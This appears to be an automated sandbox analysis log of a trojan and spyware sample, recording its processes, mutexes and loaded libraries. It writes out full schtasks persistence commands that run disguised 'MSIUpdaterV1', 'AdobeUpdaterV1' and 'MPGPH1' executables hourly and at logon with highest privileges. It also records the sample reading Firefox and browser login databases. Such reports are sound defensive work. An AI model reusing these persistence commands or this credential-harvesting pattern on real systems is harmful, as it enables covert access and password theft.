Source: AdobeUpdaterV1.exe0.0.dr, gBMthepoZSL1ZVKpeA.cs Cryptographic APIs: 'CreateDecryptor'
Source: MSIUpdaterV1.exe0.0.dr, gBMthepoZSL1ZVKpeA.cs Cryptographic APIs: 'CreateDecryptor'
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@65/57@4/6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0042F5FF CoCreateInstance, 17_2_0042F5FF
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\signons.sqlite Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6040:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6104:120:WilError_03
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5076
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3128:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3888:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2792:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3444:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4852:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2316:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4412
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3248
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3960:120:WilError_03
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File created: C:\Users\user\AppData\Local\Temp\trixy0MMV3ZTZWJef Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: MSIUpdaterV1.exe, MSIUpdaterV1.exe, 00000017.00000002.2896199963.0000000000145000.00000004.00000001.01000000.0000000B.sdmp, AdobeUpdaterV1.exe, 00000018.00000002.3501914697.000000000086D000.00000002.00000001.01000000.0000000C.sdmp, MSIUpdaterV1.exe, 0000001C.00000002.2896175092.0000000000145000.00000004.00000001.01000000.0000000B.sdmp, RegAsm.exe, 0000002A.00000002.3500098630.000000000056D000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: OJa1BOigU3.exe, 00000000.00000002.2345345627.000000000026D000.00000002.00000001.01000000.00000003.sdmp, 3Q7v9y6Zw0a51Z43zHih.exe, 00000008.00000002.3501913330.000000000109D000.00000002.00000001.01000000.00000006.sdmp, MSIUpdaterV1.exe, 00000009.00000002.3501554784.000000000079D000.00000002.00000001.01000000.00000007.sdmp, MSIUpdaterV1.exe, 0000000A.00000002.3501305233.000000000079D000.00000002.00000001.01000000.00000007.sdmp, v6ggwc2fJXXgIu5fzDQ2.exe, 00000016.00000002.2809429426.00000000003C5000.00000004.00000001.01000000.0000000A.sdmp, MSIUpdaterV1.exe, 00000017.00000002.2896199963.0000000000145000.00000004.00000001.01000000.0000000B.sdmp, AdobeUpdaterV1.exe, 00000018.00000002.3501914697.000000000086D000.00000002.00000001.01000000.0000000C.sdmp, MSIUpdaterV1.exe, 0000001C.00000002.2896175092.0000000000145000.00000004.00000001.01000000.0000000B.sdmp, RegAsm.exe, 0000002C.00000002.3500058845.000000000055D000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: 7mWIlGgY7rrbLogin Data For Account.0.dr, gsbFct1fEPfFLogin Data.0.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: OJa1BOigU3.exe ReversingLabs: Detection: 44%
Source: OJa1BOigU3.exe Virustotal: Detection: 41%
Source: v6ggwc2fJXXgIu5fzDQ2.exe String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: MSIUpdaterV1.exe String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: OJa1BOigU3.exe String found in binary or memory: l/ADdY
Source: C:\Users\user\Desktop\OJa1BOigU3.exe File read: C:\Users\user\Desktop\OJa1BOigU3.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\OJa1BOigU3.exe "C:\Users\user\Desktop\OJa1BOigU3.exe"
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe "C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe"
Source: unknown Process created: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe
Source: unknown Process created: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe "C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe"
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe "C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe"
Source: unknown Process created: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe
Source: unknown Process created: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe "C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe"
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown Process created: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5076 -s 276
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH1\MPGPH1.exe" /tn "MPGPH1 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe
Source: unknown Process created: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH1\MPGPH1.exe" /tn "MPGPH1 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\ProgramData\MPGPH1\MPGPH1.exe C:\ProgramData\MPGPH1\MPGPH1.exe
Source: unknown Process created: C:\ProgramData\MPGPH1\MPGPH1.exe C:\ProgramData\MPGPH1\MPGPH1.exe
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 288
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3248 -s 248
Source: unknown Process created: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe "C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe HR" /sc HOURLY /rl HIGHEST Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe LG" /sc ONLOGON /rl HIGHEST Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe "C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe" Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f HR" /sc HOURLY /rl HIGHEST Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f LG" /sc ONLOGON /rl HIGHEST Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe "C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe" Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a HR" /sc HOURLY /rl HIGHEST Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe" /tn "MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a LG" /sc ONLOGON /rl HIGHEST Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Process created: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe "C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH1\MPGPH1.exe" /tn "MPGPH1 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH1\MPGPH1.exe" /tn "MPGPH1 LG" /sc ONLOGON /rl HIGHEST
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: dxcore.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: devobj.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe Section loaded: ntasn1.dll Jump to behavior
